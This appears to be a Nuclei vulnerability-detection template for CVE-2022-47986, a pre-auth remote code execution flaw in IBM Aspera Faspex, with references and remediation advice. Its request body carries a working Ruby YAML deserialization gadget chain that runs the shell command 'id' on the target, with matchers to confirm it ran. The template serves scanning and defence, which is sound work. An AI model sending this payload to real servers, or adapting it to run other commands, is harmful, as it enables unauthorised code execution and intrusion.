id: CVE-2022-47986 info: name: Pre-Auth RCE in Aspera Faspex author: coldfish severity: critical description: | IBM Aspera Faspex could allow a remote attacker to execute arbitrary code on the system, caused by a YAML deserialization flaw. By sending a specially crafted obsolete API call, an attacker could exploit this vulnerability to execute arbitrary code on the system. The obsolete API call was removed in Faspex 4.4.2 PL2. reference: - https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/ - https://www.ibm.com/support/pages/node/6952319 - https://exchange.xforce.ibmcloud.com/vulnerabilities/243512 remediation: This vulnerability can be remediated by either upgrading to Faspex 4.4.2 Patch Level 2 or Faspex 5.x which does not contain this vulnerability. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-47986 metadata: shodan-query: html:"Aspera Faspex" verified: "true" tags: cve,cve2022,ibm,aspera,faspex,kev requests: - raw: - | POST /aspera/faspex/package_relay/relay_package HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/json {"package_file_list": ["/"], "external_emails": "\n---\n- !ruby/object:Gem::Installer\n i: x\n- !ruby/object:Gem::SpecFetcher\n i: y\n- !ruby/object:Gem::Requirement\n requirements:\n !ruby/object:Gem::Package::TarReader\n io: &1 !ruby/object:Net::BufferedIO\n io: &1 !ruby/object:Gem::Package::TarReader::Entry\n read: 0\n header: \"pew\"\n debug_output: &1 !ruby/object:Net::WriteAdapter\n socket: &1 !ruby/object:PrettyPrint\n output: !ruby/object:Net::WriteAdapter\n socket: &1 !ruby/module \"Kernel\"\n method_id: :eval\n newline: \"throw `id`\"\n buffer: {}\n group_stack:\n - !ruby/object:PrettyPrint::Group\n break: true\n method_id: :breakable\n", "package_name": "{{rand_base(4)}}", "package_note": "{{randstr}}", "original_sender_name": "{{randstr}}", "package_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec", "metadata_human_readable": "Yes", "forward": "pew", "metadata_json": "{}", "delivery_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec", "delivery_sender_name": "{{rand_base(8)}}", "delivery_title": "{{rand_base(4)}}", "delivery_note": "{{rand_base(4)}}", "delete_after_download": true, "delete_after_download_condition": "IDK"} matchers-condition: and matchers: - type: regex regex: - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)' - type: word part: header words: - "text/html" - type: status status: - 500